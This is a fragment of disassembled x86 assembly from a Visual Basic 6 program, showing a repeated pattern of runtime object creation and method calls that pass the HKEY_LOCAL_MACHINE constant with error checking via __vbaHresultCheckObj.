mov dword [ebp - 0x2b8], 0
mov dword [ebp - 4], 0x46
cmp dword [0x573db0], 0
jne 0x556006
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2bc], 0x573db0
jmp 0x556010
mov dword [ebp - 0x2bc], 0x573db0
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420d00
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55606e
push 0x20
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2c0], eax
jmp 0x556078
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 4], 0x47
cmp dword [0x573db0], 0
jne 0x5560a4
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2c4], 0x573db0
jmp 0x5560ae
mov dword [ebp - 0x2c4], 0x573db0
mov ecx, dword [ebp - 0x2c4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x420db0
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55610c
push 0x20
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2c8], eax
jmp 0x556116
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 4], 0x48
cmp dword [0x573db0], 0
jne 0x556142
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2cc], 0x573db0
jmp 0x55614c
mov dword [ebp - 0x2cc], 0x573db0
mov edx, dword [ebp - 0x2cc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x420ee0
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5561aa
push 0x20
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2d0], eax
jmp 0x5561b4
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 4], 0x49
cmp dword [0x573db0], 0
jne 0x5561e0